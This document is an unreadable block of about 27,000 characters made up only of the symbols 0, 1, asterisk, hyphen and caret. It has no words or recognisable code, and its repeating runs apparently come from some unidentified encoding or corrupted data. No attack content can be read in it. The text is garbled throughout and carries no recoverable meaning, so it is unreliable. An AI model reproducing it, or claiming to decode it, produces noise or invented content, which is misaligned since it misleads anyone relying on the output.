1**110-11*101*********00-01*001*-01*10101*11****011**110-11*101********00-01101*001*-01*10101*11****011**110-11*101*********1101101*001*-01*10101*101****1**0^1101*0101*1**0-1*1*******001101010-**1**0110^-101*01****011*****01*******001*00-1**1***-10^11*01***001101*****01*******001*0011011*****0-0^101****0^101*****01*******0011010101011****01010^1*001***01010-*****001*******0011010101011****0^11*^11*******************101**001010^-----10---101010--00^101^-*-1**001**11**011010-01**1****0-101101^^11**0-10110101****1**001*110-10110101*001*1*00101*^1****-1*00-101101^^11**0-10-01*001^1*0101****1***010110-101^11**011*01*1*0101****1**0^10110-101^101****1***-1^--01011*01*1*0101****1**011010110-1011*1*001*1*0101****1**0110-^--0101*00110101*101****1**0010-^--0-*0010110^-*001*1*1011*01*1*01^-0^11*101*01*1*-1*01*1*-1*01^1**11010-01*-1*01*1*0101****1**001010110-10110-1*01*1*0101****1**0^-^--01011*01*1*00101*11010^-1*01^1*01011*-11*1*11*1011*0101*01*1*0101****1**0^10110-101^101****1***0-^--01011*01*1*0011*01*1^^11*0101*01*1*0101****1**0^10110-101^101****1**0-0-00--01011*01*1*0011*01*11*0011*0101*01*1*0101****1**0^10110-101^101****1**00110-00--01011*01*1*0011*01*1^-01*0101*01*1*0101****1**0^10110-101^101****1**01010-00--01011*01*1*1011*01^1*0101****1**0-00110-1011*11*01*1*0011*01^1*0101****1**001^1101^-0-01*011*001101*01*1*0101****1**011*110-1011*1*001*1*0101****1**0-101^--011*-0^11*101*01*1*0-*01*1*0-*01^1**11010-01*0-*01*1*01*1010101****1**010^110-101^101^1^11010-01*0-*01*1*^1*01*1*0-*01*1*1101*01*1*-01*110101*-*01^1*-01*01*1010101****1**0-1101*010^1*******0011010101*0101101101*1101*01*1*1101*01^1*1*******00-101011011*10101*01*1*0101*01^1**11010-01*^101^-*1^1*01*1*^1*01^1*0101****1***10-0-1011*1*001*1******01***001*10-01101^1******1**0-*0010-0-01*001^1*0101****1***^11*0101*01*001*1*0101****1**01*0110-10110^1*001011*001101*101****1**01^-0-1011*1*001*1******01**01^1^10-01101^1*11**-101^1*001^1*1*******001*110^10-00101****1**00^-*0101*101****1**00-101*0101*00110^101******001****1*001*01*1*001****001***1*0--1*01*01^1*0101****1**01*-*0101*1101*0101****1***00-*0101*11*001*1*011*001^1*0101****1**00-0110-1011010-00110^^-11*01101*10^^1********10-011011*-101*011*001*1*-*001^1*-01*-01*001101*101****1**010110110-1011*00-***101*00-101010^-0011*001*1*-*001^1*01101*011*001^1*0101****1***110110-10110^1*01011*00101^1*1*0-*******1****101*-*011*001101*1101*00101****1****110-1011******01**00101**01*11*******1***-10110-01101^1*11**-10110101*00101****1**0-1101*0101*101****1**010-01*0101*00110^1**01*******01****1*01****001***1*0--101*1****1**^101******1***-011**00101***1^11011******0010101*01****001***1***0010101****1***-010-101^101^101101*0101****1**011011010-101^101****1**00101101*0101*01****001**^1***001*0-***101*001*01^^-0011*01***********011*****1010-10^1**001*1****1********001*1********10101*001**-011011****0101*001^1**10^^1**1****001**001010^--*11*00-101^11*0011*****1**00101*00101*11**01****001**-01*0--0011****0101*00-001*00101*11*****1**00101*00101*11**01****001**-01*0--001**001****001**011**--*1****001***110^--0011*110^11*101********1*-101^1**-*001101**011010-01*-**1^1*11****0101**1*1*00101*11*****1*00-011*0010^1*01101*^110-010^101^-*^1****001**101**--0-**01****001**101**--00101*******-0^-10110-**1**001****001**10-*0--0011**01****001**-010^--01*1^11010^1101*001101*0101*00101******0011*1101^-0^-^-101^11*01*******0011**0010-0011****0101*0010-**101*1**001****001**011**--*1****001**011010^--*011*001101*11****0101**0011**101*1**001****001**011**--*1****001**101010^--0011****0101*001^1**10^1011*010^1*01****001**011**--*1****001**1^10^--01*1****1***101*********1101101***001**001^11011******0010101*01****001**101****10101******00101^1*0101*01****001**-***10-0^^1*******001*0^1011*1********1011011**1*01****001**011****10101****1**0101010101^-00110^1*****0010101*101*******10^1*0101*1**001****01**00--110-1^11****011**^-11*101**-***1**0110-*^-001**001****01**010--10-110-01*01**001****01***--10-110-01*01**001****01**0110--0-110-01*01*****1101*01^1*1**110101*11*11***10101*01****01**010--10-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01****01**010--110-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01****01**00--110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01****01**00---0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01****01***--10-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01****01***--110-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01****01**0110--0-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01****01**0110--10-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*11****0010101*101******0011*01*0101*1**01101*01^1*********1***-*10-*10101*1101*01^1*********1***-001*1******0101011*********001****1***001^1^1*1*******0010101*0^1****^1^1*01***01*1*************1*1**********0010101***00-1011011****011**00110-*101*11****011**^-11*101**-***001**-01^^-001^1*^1*0-101101^1*11****0101**-**0101*11****011**^-11*101**-***001***10^^-0011****011**^-11*101**-***11**--010^-*1****001**0^10^--*1****01**0010-11**0-101*^-00101101*01****01**0010-110--001101*01^1*1**11010^1*1******0101011********00101*1***001***1^11011*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-11*10101*101*******10^1*0101*1*****1101*01^1*********1***-*-11***0010101*101******0011*01*0101*1**01101*01^1*********1***-*10-******010101*11*****1**011*1*101*11****0101*00^1**0101*01*001*1*001****001**1*10^--*1****001**-011*--0011*****1**-1**101*11*001*1*001****001**00101*0--0011****0101**01**0010^^101^-*-1**1101*-**11*001*1*001****001***010^--0011*001^1*0101****1***101^1^-0-01*011*****1**1*001*10^101*001*1*001****001**001011*--*1*001*1*011*****1*0010-11*010^^1*0101*001*1*001****001**0^11*--0011*****1*0010-11*0101*001*0101*001*1*001****001**1*11*--0101*001^1*011****011**0-0011*101*01*001^1*0101*******01*0-00-01011*0011****011**-^11*101*11*****1**^1011*10^11**011*****1**101101*0101*01****001**^101*--*1****001**011*^--*11*00101******00101^1*0101*01****001**01***010-0^^1*******001*0^1011*1*00^-11*1101*0011**101*00101*******^^-1101^1**0101*******011*1*101*1101*01^1*1**11010^1*1****1**-001*********^1101***11***1^1^1******0010101*001**-001*11*-01**1**-00-101*01101**1**11*01*******001*0^1011*1*11*01010^-**0-001*11*-01*-**0-00-101*01101*-*001101*01*******001*0^1011*1*11*1*1*1*11*1101*0101********1*-101^11**101*0011****011**^-11*101**-***11**1101*10^-001101*01^1*1**11010^1*1****1**01^1*********10-****1***1^1^1******0010101*001**-001*11*-01**1**-00-101*01101**1**11*01*******001*0^1011*1*11*01010^-**0-001*11*-01*-**0-00-101*01101*-*001101*01*******001*0^1011*1*11*1*1*1*11*1101*0101********1*-101^11**101*0011****011**^-11*101**-***11**-010^^-001101*01^1*1**11010^1*1****1**01^1*********10-****1***1^1^1******0010101*001**-001*11*-01**1**-00-101*01101**1**11*01*******001*0^1011*1*11*01010^-**0-001*11*-01*-**0-00-101*01101*-*001101*01*******001*0^1011*1*11*1*1*1*11*1101*0101********1*-101^11**101*0011****011**^-11*101**-***11**11*1*^-001101*01^1*1**11010^1*1****1**01^1*********10-****1***1^1^1******0010101*001**-001*11*-01**1**-00-101*01101**1**11*01*******001*0^1011*1*11*01010^-**0-001*11*-01*-**0-00-101*01101*-*001101*01*******001*0^1011*1*11*1*1*1*11*1101*0101********1*-101^11**101*0011****011**^-11*101**-***01**-10-0^-001101*01^1*1**11010^1*1****1**01^1*********10-****1***1^1^1******0010101*001**-001*11*-01**1**-00-101*01101**1**11*01*******001*0^1011*1*11*01010^-**0-001*11*-01*-**0-00-101*01101*-*001101*01*******001*0^1011*1*11*1*1*1*11*1101*0101********1*-101^11**101*0011****011**^-11*101**-***01**110-010^-001101*01^1*1**11010^1*1****1**01^1*********10-****1***1^1^1******0010101*001**-001*11*-01**1**-00-101*01101**1**11*01*******001*0^1011*1*11*01010^-**0-001*11*-01*-**0-00-101*01101*-*001101*01*******001*0^1011*1*11*1*1*1*11*1101*0101********1*-101^11**101*0011****011**^-11*101**-***01**-*010^-001101*01^1*1**11010^1*1****1**01^1*********10-****1***1^1^1******0010101*001**-001*11*-01**1**-00-101*01101**1**11*01*******001*0^1011*1*11*01010^-**0-001*11*-01*-**0-00-101*01101*-*001101*01*******001*0^1011*1*11*1*1*1*11*1101*0101********1*-101^11**101*0011****011**^-11*101**-***01**1^10^^-001101*01^1*1**11010^1*1****1**01^1*********10-****1***1^1^1******0010101*001**-001*11*-01**1**-00-101*01101**1**11*01*******001*0^1011*1*11*01010^-**0-001*11*-01*-**0-00-101*01101*-*001101*01*******001*0^1011*1*11*1*1*1*11*1101*0101********1*-101^11**101*0011****011**^-11*101**-***01**-11*0^-001101*01^1*1**11010^1*1****1**01^1*********10-****1***1^1^1******0010101*001**-001*11*-01**1**-00-101*01101**1**11*01*******001*0^1011*1*11*01010^-**0-001*11*-01*-**0-00-101*01101*-*001101*01*******001*0^1011*1*11*1*1*1*11*1101*0101********1*-101^11**101*0011****011**^-11*101**-***1**011010-0^-001101*01^1*1**11010^1*1****1**01^1*********10-****1***1^1^1******0010101*001**-001*11*-01**1**-00-101*01101**1**11*01*******001*0^1011*1*11*01010^-**0-001*11*-01*-**0-00-101*01101*-*001101*01*******001*0^1011*1*11*1*1*1*11*1101*0101********1*-101^11**101*0011****011**^-11*101**-***1**0-011010^-001101*01^1*1**11010^1*1****1**01^1*********10-****1***1^1^1******0010101*001**-001*11*-01**1**-00-101*01101**1**11*01*******001*0^1011*1*11*01010^-**0-001*11*-01*-**0-00-101*01101*-*001101*01*******001*0^1011*1*11*1*1*1*11*1101*0101********1*-101^11**101*0011****011**^-11*101**-***1**011*0010^-001101*01^1*1**11010^1*1****1**01^1*********10-****1***1^1^1******0010101*001**-001*11*-01**1**-00-101*01101**1**11*01*******001*0^1011*1*11*01010^-**0-001*11*-01*-**0-00-101*01101*-*001101*01*******001*0^1011*1*11*1*1*1*11*1101*0101********1*-101^11**101*0011****011**^-11*101**-***1**0-^^^-001101*01^1*1**11010^1*1****1**01^1*********10-****1***1^1^1******001010^^1*01011*0011****0101*00^1**0101*11**01****001**1*10^--0011*****1**-1**101*001**1****001**00101*0--0011****0101**01**0010^^101^-*101**01101*01***1**1****001***010^--*11*00101****1***101^1^-0-01*011*****1**1*001*10^-**01****001**1^11*--0011**11*****1*0010-11*0101*101******00101^1*0101*01****001**1***0010-0^^1*******001*0^1011*1*01*-11*-**01****001**0^11*--0011*****1*0010-11*0101*101******00101^1*0101*01****001******10-0^^1*******001*0^1011*1*00^-11*-**01****001**1*11*--01101*0011****011**0-0011*101*101*00101*******01*0-00-001101*01^1*1**11010^1*1****1**10^1*********11*01***11***1^1^1***********00-1****0-001**01***0-****01********001*1*****010101*11**0-011011*****1**-1**10^-**01****001**0^1*0--01101**110^-*00-1*00-10110-1011*011*1101*001*001*1*001*001^1*^11010101*001*1*001*001*1*0011**011010101*001*1**1*0101*001^1*011*****1*00--11*101*01*001*1**1*0011*00-**01****001**-^^--010-*110101*101*01*******001*0^1011*^1*001*1*001*001^1*^10110^1*01011*0011*****1**10-11*10^-**01****001**0-00^--*11*001101*1101*00101******001^-01^-0-01*-01*^11*01**01101*01^1*1**11010^1*1****1**00^1********00-1101***011***1^11011*1*******0010101*11**1**00^1*0011011***01^101*****01*******0010101*11****0011*1010^-***1*11******1*******0010101*11*****-01*10101****1*************010^1********10101*11**10101*11****011**^-11*101**-***1**0110-*^-***0-101101^^11**0-1011*01*0-10110101*0011*****1**00101*00101*11*****1*001010-1*10^1*******0010101*1011*101101*01**011*****1***-1*101*11****011**^-11*101**-***1**010-1*^-0011*****1**-011*0101*1**001****001**0-01*--*1****001**001^^--*1****001**101^^--*1****001**-01*0--010-1*01101*101******0010-11*0101*101*******01*10-101^101****1**0110^10-101101*******0010101*1011*101101*01**0101******00^1^-1101^11****011**^-11*101**-***1**010-1*^-00101*******11*10-101^1*****-101101^^11**0-10---00-10110101*00101******0011011*-101^11****011**^-11*101**-***1**0110-*^-0011****011**^-11*101**-***1**0^101*^-00101*******01*10-101^11*****1**00101*00101*11*****1*0011010-*10^1*******0010-1*010-001**001****001**110^^--*1****001**^11*0--0110-*01101*101******0010-11*0101*101******0011011*-101^11****011**^-11*101**-***1**0110-*^-0011****011**^-11*101**-***1**0^101*^-00101*******01*10-101^101****1**0010^10-101^101*******0-10-1101101*******0010-1*010-001*****-101101^^11**0-1011********0010-110-0110101*0011*****1**00101*0010^1*******0010-1*010-001**001****001***11*0--001101*001101*101******0010-11*0101*101******00^-0-1101101*******0010-1*010-001**01101*01^1*1**11010^1*1****1**11*1******1**001*1***0011***1^11011*010101*101********1*-101^11****011**^-11*101**-*****001010-10^-001101*01^1*1**11010^1*1******0101011*********0101****1***01^1^1******0010101*11*****1*0010^101*10^^101^-*1011**1101*011**11*****1**101101*0101*01****001**^101*--*1****001**10-1*--00101*0011*****1**^11*00101*1**001****001**00-*0--001^1*101*******0^^-101^11****011**^-11*101**-*****001*00110^-001101*01^1*1**11010^1*1****1**01*1*********10-***0011***1^1^1*010101*101********1*-101^11****011**^-11*101**-*****001011*10^-001101*01^1*1**11010^1*1******0101011*********0101****1***01^1^1****10101*11****011**011*11*101*1**010101*11*****1**1^-*101*1**0101****1**01^1^1^-*1****001**010^^--01*1*101101*11****011**001^11*101*1101*01^1*1**11010^1*1******0101011********0011*1****1***1^1^1*1*******0010101*0011****0-1*1101****1^1*************1*1********10101*11**101*00101****1**0^11*1^-********0011*0010-0110101*00101****1**0^11*1^-001^1*********^1*10-0110101*00101****01**0101*01^-********0-01*^-*11****011**001^11*101*101**101*01101*01^1*********1***-001*1****1**1*01*********^11***001***01^11011*1*******0010101*11*****01^1*0^1***001*************001*1**0010101***00-101101^^11**0-101^1****01***110-**011********-*010^1010101****1**0^^10-101101*******0010101*1011*101101*00101*0101*******001^-11011*011*-11*011****011**^-11*101**-*****00101010^^-00101******00110-0-1101^1101*011****011**^-11*101**-*****001**00^-00101******00-0^-1101^101*******010^1*10^1*********011*00101101101*01^1*1**11010^1*1******0101011**********101***001***1^11011******0010101*01****01***110-0--*1****01**011010-**0-101*011****011**101^11*101********001101*0010-*01****01**011010-0--001101*01^1*********1***-001*1******0101011*********1*1***001***01^1^1*010101**01^1*110-11010-11*-11*11**01**00^110-11010-11*-11*^1101011***00^-11*01**01101*01^1*********1***-001*1******0101011*********0011***00101***1^1^1****10101*010101*0110^11****011**110^11*10^101**-**0110101010^1*00-^11010-01*011**-**1****01**001010-0--*0110101010^1*00-001**-*0-**-**0110101*011**1^1^110101*0011**001*00110^^1**11**01**01101*01^1*********1***-001*1******0101011********00-101***0-***1^1^1******0010101*010101*0110^11****011**110^11*10^101**-**0110101010^1*00-^11010-01*011**-**1****01**001010-0--*0110101010^1*00-001**-*0-**-**0110101*0110101*001*011*1*0011**110^^1**11**01**01101*01^1*********1***-001*1******0101011*********-01***0-***1^1^1*********010101*010101*0110^11****011**110^11*10^101**-**0110101010^1*00-^11010-01*011**-**1****01**001010-0--*0110101010^1*00-001**-*0-**-**01101**110-110^1^110101**01*00-11010101*0011**110^^1**11**01**01101*01^1*********1***-001*1******0101011********001*11***0-***1^1^1*********010101*010101*0110^11****011**110^11*10^101**-**0110101010^1*00-^11010-01*011**-**1****01**001010-0--*0110101010^1*00-001**-*0-**-**01101**110-11010101**1^11011**-1101*1*0011**110^^1**11**01**01101*01^1*********1***-001*1******0101011********001*11***0-***1^1^1*********010101*0101*1*1*011*****1*00-10101*101*1011*0011*0-11*00101*1*1*01101*011*****1*001*0-*101*011*01*1*001****001**^^^--*1****001**--*--0011*****1*00-10101*101*1011*0-1*00101*1*1*01101*011*****1*001*0-*10^1101*01*1*001****001**^^^--*1****001**--*--0011*****1*00-10101*101*1011*01011*00101*1*1*01101*011*****1*001*0-*101*101*01*1*001****001**^^^--*1****001**--*--0011*****1*00-10101*101*1011*01101*00101*1*1*01101*011*****1*001*0-*10^^1*01*1*001****001**^^^--*1****001**--*--*101*1^1*1*******001*0^1011*1*01*-11*-----1010-11*0110^1*1*-01*001*-11**1*01011*01*1*1011*01^1**11010-01*1011*01*1*0011*01^1**110101^1*1*1*0011*01*1*1101*01^1**110^^1*1*1*1101*01*1*0101*01^1**110101*1*1*1*0101*01*1*^1*01^1**1101*001*1*1*^1*01*1*011****011**010^11*101*11***0010-11*10101*-11*^1*0-11*^1*01*1*0011*01*1*1101*01*1*0101*00^1*011****011**010^11*101*11*00--00-11*-1*0-11**11*0101*01*1*^1*01*1*0011*01*1*1101*00^1*011****011**010^11*101*11**-1^-11*0101*0-11*1101*0-11*1101*01*1*0101*01*1*^1*01*1*0011*00^1*011****011**010^11*101*11*0010-^-11*00-*01011*0011*01*1*1101*01*1*0101*01*1*^1*00^1*011****011**010^11*101*11**0-^-11*10101*-11*1011*0-11*^1*01*1*0011*01*1*1101*01*1*0101*00^1*011****011**010^11*101*11*00110-00-11*-1*0-11*00-*0101*01*1*^1*01*1*0011*01*1*1101*00^1*011****011**010^11*101*11**10-00-11*0101*0-11*-1*0-11*1101*01*1*0101*01*1*^1*01*1*0011*00^1*011****011**010^11*101*11*00^-00-11*00-*0-1*0011*01*1*1101*01*1*0101*01*1*^1*00^1*011****011**010^11*101*11**00-00-11*10101*-11*-01*^1*01*1*0011*01*1*1101*01*1*0101*00^1*011****011**010^11*101*11*00-01^-11*-1*0-11*0101*0-11*0101*01*1*^1*01*1*0011*01*1*1101*00^1*011****011**010^11*101*11**1101^-11*0101*0-11*^11*1101*01*1*0101*01*1*^1*01*1*0011*00^1*011****011**010^11*101*11*0010101^-11*00-*0011*0-11*0011*01*1*1101*01*1*0101*01*1*^1*00^1*011****011**010^11*101*11**0101^-11*10101*-11*11011*^1*01*1*0011*01*1*1101*01*1*0101*00^1*011****011**010^11*101*11*001^1^-11*-1*0-11*0-*0-11*0101*01*1*^1*01*1*0011*01*1*1101*00^1*011****011**010^11*101*11**^1^-11*0101*0-11*10-*1101*01*1*0101*01*1*^1*01*1*0011*00^1*011****011**010^11*101*11*001*1^-11*00-*01101*0011*01*1*1101*01*1*0101*01*1*^1*00^1*011****011**^^11*101*11***1^-11*-01*-11**11*^1*01*1*0011*01*1*1101*01*1*0101*00^1*011****011**^^11*101*11*00-10^-11**01*-11*-1*0-11*0101*01*1*^1*01*1*0011*01*1*1101*00^1*011****011**^^11*101*11**-0^-11*1101*0-11*0011*0-11*1101*01*1*0101*01*1*^1*01*1*0011*00^1*011****011**^^11*101*11*0010110^-11*01011*^1*0-11*0011*01*1*1101*01*1*0101*01*1*^1*00^1*011****011**^^11*101*11**0110^-11*-01*-11*00-*^1*01*1*0011*01*1*1101*01*1*0101*00^1*011****011**^^11*101*11*0011010^-11**01*-11*^11*0101*01*1*^1*01*1*0011*01*1*1101*00^1*011****011**^^11*101*11**1010^-11*1101*0-11*01101*1101*01*1*0101*01*1*^1*01*1*0011*00^1*011****011**^^11*101*11*00^10^-11*01011*1011*0-11*0011*01*1*1101*01*1*0101*01*1*^1*00^1*011****011**^^11*101*11**0010^-11*-01*-11*0101*0-11*^1*01*1*0011*01*1*1101*01*1*0101*00^1*011****011**^^11*101*11*00-00^-11**01*-11*10-*0101*01*1*^1*01*1*0011*01*1*1101*00^1*011****011**^^11*101*11**1^^-11*1101*0-11*01011*1101*01*1*0101*01*1*^1*01*1*0011*00^1*011****011**^^11*101*11*0010^^-11*01011*-01*0011*01*1*1101*01*1*0101*01*1*^1*00^1*011****011**^^11*101*11**0^^-11*-01*-11*0-*0-11*^1*01*1*0011*01*1*1101*01*1*0101*00^1*011****011**^^11*101*11*0011*^-11**01*-11*1101*0-11*0101*01*1*^1*01*1*0011*01*1*1101*00^1*011****011**^^11*101*11**1*^-11*1101*0-11*0-1*1101*01*1*0101*01*1*^1*01*1*0011*00^1*011****011**^^11*101*11*001*0^-11*01011*11011*0011*01*1*1101*01*1*0101*01*1*^1*00^1*011****011***^11*101*11***0^-11*00101*-11*0011*0-11*^1*01*1*0011*01*1*1101*01*1*0101*00^1*011****011***^11*101*11*00-11*-11*0-*0-11*10-*0101*01*1*^1*01*1*0011*01*1*1101*00^1*011****011***^11*101*11**-1*-11*^1*0-11**11*1101*01*1*0101*01*1*^1*01*1*0011*00^1*011****011***^11*101*11*0010-*-11*11011*1011*0-11*0011*01*1*1101*01*1*0101*01*1*^1*00^1*011****011***^11*101*11**0-*-11*00101*-11*0-1*^1*01*1*0011*01*1*1101*01*1*0101*00^1*011****011***^11*101*11*0011011*-11*0-*0-11*^11*0101*01*1*^1*01*1*0011*01*1*1101*00^1*011****011***^11*101*11**1011*-11*^1*0-11*0-*0-11*1101*01*1*0101*01*1*^1*01*1*0011*00^1*011****011***^11*101*11*00^11*-11*11011*^1*0-11*0011*01*1*1101*01*1*0101*01*1*^1*00^1*011****011***^11*101*11**0011*-11*00101*-11*01011*^1*01*1*0011*01*1*1101*01*1*0101*00^1*011****011***^11*101*11*00-01*-11*0-*0-11*-1*0-11*0101*01*1*^1*01*1*0011*01*1*1101*00^1*011****011***^11*101*11**1101*-11*^1*0-11*0101*0-11*1101*01*1*0101*01*1*^1*01*1*0011*00^1*011****011***^11*101*11*0010101*-11*11011*11011*0011*01*1*1101*01*1*0101*01*1*^1*00^1*011****011***^11*101*11**0101*-11*00101*-11*01101*^1*01*1*0011*01*1*1101*01*1*0101*00^1*011****011***^11*101*11*001^1*-11*0-*0-11*1101*0-11*0101*01*1*^1*01*1*0011*01*1*1101*00^1*011****011***^11*101*11**^1*-11*^1*0-11*00-*1101*01*1*0101*01*1*^1*01*1*0011*00^1*011****011***^11*101*11*001*1*-11*11011*-01*0011*01*1*1101*01*1*0101*01*1*^1*00^1*011****011**-*11*101*11***1*-11*01101*-11*-1*0-11*^1*01*1*0011*01*1*1101*01*1*0101*00^1*011****011**-*11*101*11*00-1*0-11*1*1*-11*0-*0-11*0101*01*1*^1*01*1*0011*01*1*1101*00^1*011****011**-*11*101*11**-*0-11*0011*0-11*1011*0-11*1101*01*1*0101*01*1*^1*01*1*0011*00^1*011****011**-*11*101*11*001011*0-11*10-*0011*0-11*0011*01*1*1101*01*1*0101*01*1*^1*00^1*011****011**-*11*101*11**011*0-11*01101*-11*1101*0-11*^1*01*1*0011*01*1*1101*01*1*0101*00^1*011****011**-*11*101*11*001101*0-11*1*1*-11*0101*0-11*0101*01*1*^1*01*1*0011*01*1*1101*00^1*011****011**-*11*101*11**101*0-11*0011*0-11*^1*0-11*1101*01*1*0101*01*1*^1*01*1*0011*00^1*011****011**-*11*101*11*00^1*0-11*10-*0-1*0011*01*1*1101*01*1*0101*01*1*^1*00^1*011****011**-*11*101*11**-1*01101*-11*10-*^1*01*1*0011*01*1*1101*01*1*0101*00^1*011****011**-*11*101*11*0010-*1*1*-11*00-*0101*01*1*^1*01*1*0011*01*1*1101*00^1*011****011**-*11*101*11**0-*0011*0-11*11011*1101*01*1*0101*01*1*^1*01*1*0011*00^1*011****011**-*11*101*11*0011011*10-*01011*0011*01*1*1101*01*1*0101*01*1*^1*00^1*011****011**-*11*101*11**1011*01101*-11*^11*^1*01*1*0011*01*1*1101*01*1*0101*00^1*011****011**-*11*101*11*00^11*1*1*-11**11*0101*01*1*^1*01*1*0011*01*1*1101*00^1*011****011**-*11*101*11**0011*0011*0-11*-01*1101*01*1*0101*01*1*^1*01*1*0011*00^1*011****011**-*11*101*11*00-01*10-*01101*0011*01*1*1101*01*1*0101*01*1*^1*00^1*1^1*1^1*0011*01*1*0^1*1^1*1101*01*1*1*1*1^1*0101*01*1**01*1^1*^1*01*1*00-10-101^10-^-11*-1*01*1*-1*01^1**110^1011*-1*01*1*0-^1*001101*^1*00-*11010-1*01*1*0-*01*1*-***01^1*1^-1*1*^1*00-*1101*011010-01*-1*01*1*0-*01*1*-***01^1*11*001*-11*1*^1*00-*1101*01101*011*-1*01*1*0-*01*1*-**1*11*011*-11*1*^1*00-*1101*011010^11*-1*01*1*0-*01*1*-***0-00^11*011*-1*01*1*011**-1^11010^-1*01^1*01101*0-*01^1*01*11*-*1011*01*1******0101*00101*1*0-001011*01^1*01101*0011*01^1**01*0^11*01010^110-**^1101*01^1**1^1010-0^-0110--1*001*101*01^1*-10-101^-1010101^1*1*00^^1*01^1*-00110101*1011*^1****1*011**-01**^-11*010110^-1*^101^-*-1*00-01011*011*1101**1*01*1**1*01^1*^11010-01**1*01*1*00-0010^10--10^101011********0--11*001*0^110-11010--00-11*010110^-1*^1101*01*01*1*0-1*001*001*1*001010-00110^101011*01*01*1*0-0110101*001*1*-**0^^110101*001*01^1*0-1*1*******001*0^1**10^1011*0011**********001*00^1*******001*0^1*-010^^1*******001*0^-1*1^101^-*101**-*0011010-0^1^^101^-*101**-*001*1*-*001^1**11010-01*-*001*1*00-0011*^-1*001*1*01**-*001*1*-**-*011010^-*001^1*01101*1101*01*******001*0^1011*1*00-101*001*1*001*001^1*010110^10101^-1*01010110^101^-*101**101*001^1*1011011*0110^10101^-1**110^-011*-0^-1*^1*001010110^101^-*101**1011*******1******01*11*0010110^^1*01011*010-01******1******01*001101******1******01*11*001*1*011*001^1*^1101010-01******1******01*10110^-1*^101^-*101*******01****011*001*101*01********-1^1011*1*01*-11*01101*01^1*1**11010^1*1****1***001******011*001*1101**00^1**001^1^1*010101*1101*01^1*********1***-001*1******0101011*********001****1***001^1^1******0010101*01****01***0-11**0101101*001****01**0-0-1**0101101*001****01**00110-1**01010101^1101*001****01**01010-1**0-101*001****01***10-1**011*******001011*01011*101101*001****01**01^-1**011*******0011**1011*101101*001****01**00^-1**010101*******00110^--*1****01**01*-1**010101*******00110^--*1****01***00-1**011*******001*0^1011*101101*001****01**0-10-**011*******001*0^1011*101101*001****01**00-0-**011*******001*0^1011*101101*001****01**010110-**011*******001*0^1011*101101*001****01***110-**0101101*001****01**011010-**0101101*001****01**001010-**010101******00101^1*0101*01****01**0--11*010-0^^1********-1^1011*1**10-11*01101*01^1*********1***-*******************00101^1***01***1^1^1*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-11******---------1**0-*01*001^1**11*01010^-*00--------1^-1*-*0011*---------11**-*01*001^1*^1101*****00101101010-1101*00^1^^110101010-11*011*001*1*********0^1*010-0010-01*011**1*0--------^-*00-*01*001^1*-01*0011**01101*01*0101**011*00101101010^^101**101**011010-01*011*00--------101^1*0-*01*001^1*^1101*101*-11*1*^1*11*-11*-*001*1*1101*00101******001010^1*10^11011******011**0011*-**11011******00-**11*101**--------0-011*0-*01*001^1*^11010^11*1*^^101*-11*101*001*1*1101*001101*--------^10-*-00^1101******^110-1*11*00^1^^1010-00-11*011*001*1*--------0-*1*-*01*001^1*01011**********1*********01**0101*101*01^11*00^1101*011010-11*1*011*1*00101*00---------00101*-*01*001^1*1101101010-*1*^^101*-11*101*001*1*0101*001101*---------01101*-*01*001^1*1*^101101010-11*101*001*1*01^1*11****011**01*011*01011********00-11*********1*01********0^1*********1101101********00^1101*******************^1*********110^1*********001101********01*1**********^1********01*1*********011*0101*1*1*001*1*********^^1*0-00-*001^1*001****01*****0--0011*001^1*001****01**0^110^--0101*001^1*001*******0-11010--001101*01^1*********1***-001*1****1**-11******01**00^1***0011***01^1^1*********--------*11**-*11*001^1*^11*01010^-*00--------^10-*-00^1101*****00110--^11**01*010^1*11*-11*-*001*1*--------0^11*00-*11*001^1*^1101011*^-11*1*^101*110-11*^1*01*1*********-1*0--00^1101*1*001*1*1101101*011*^1*********011*011*001*01*001^1*001*10-11*1011******001**0011*01*001*101**011010-01*011*00---------1101*0-*11*001^1*1*^1*****01**0-***01*001*01*1*1101*00101****01**0-*0-1011011011******011**0011*101**--------010-1*0-*11*001^1*00-*1101**01*01********10^1010101*0--101**0^1*--------1^-1*-*1011*--------0^^1*-*11*001^1*-01**********1*********01**0101*101*01^11*00^110101*-0-11*1*011011**001*00--------11010101*-*11*001^1*^11*0101*001101*--------10101101*-*11*001^1*^1101*****00-11*0--**1*010^11*1^-11*-*001*1*01^1*11****011**1*0011*01011********11010101********11010101*********11*********1*001********00-011********010110101********1^101********001*1********00^^1********01*001*******************1101*0101*^11*001*1*********110^1*0-00^1*01^1*001****01*****0--*01*01^1*001*******0-11010--0-*001^1*001*******-1*10--001101*01^1*********1***-001*1****1**0-1******01**0^1****001***1^1^1*********--------0-01*00-*01*001^1**11*01010^1********1010-1010-0-*00--------1^-1*-*0011*--------11*01*0-*01*001^1*01101**********1*0010-0010-01*011**1*0--------1^101*0-*01*001^1*01011*0011**01101*01**1**011*00101101010^1*01**101**011010-01*011*00---------0011*0-*01*001^1*^11*1101*00101****1****10-11011011011******011**0011*101**--------110-1*0-*01*001^1*^1101******01*-00-1**1*010^1*****01**01*^1*00^101*001*1*1101**101*--------1^-1*-0011011*--------*1^1*-*01*001^1*00-**********1*********01**0101*101*01^11*00^110101^1010-11*1*011011**001*00--------1*1101*-*01*001^1**11*0101*001101*--------110-01*-*01*001^1*-01*01^1*11****011****11*01011*******************1^11********0^-********00-011********001^^1********-011*********-001********00110-********001*11*********011*********0-**********11*1********0011*0101*1*1*001*1*********101*1*0-00101*001^1*001*******010101010--001101*01^1*********1***-001*1******001*-********10^-**0011***01^1^1*********--------00101**-00101*001^1*^11*01010^-*00--------0-1**-00101*001^1*^11*--------1^-1*-*0011*--------001101*00-00101*001^1*0101*0-11*********^1*010-^^110^1011010^11*^1**01*******1**1101*1*001*011*********0^11011*00^1011*001^^-11*0101**011010-01*011*00--------1*101*0-00101*001^1*-01*1101*00101********011*0101*1**--------*0011*0-00101*001^1*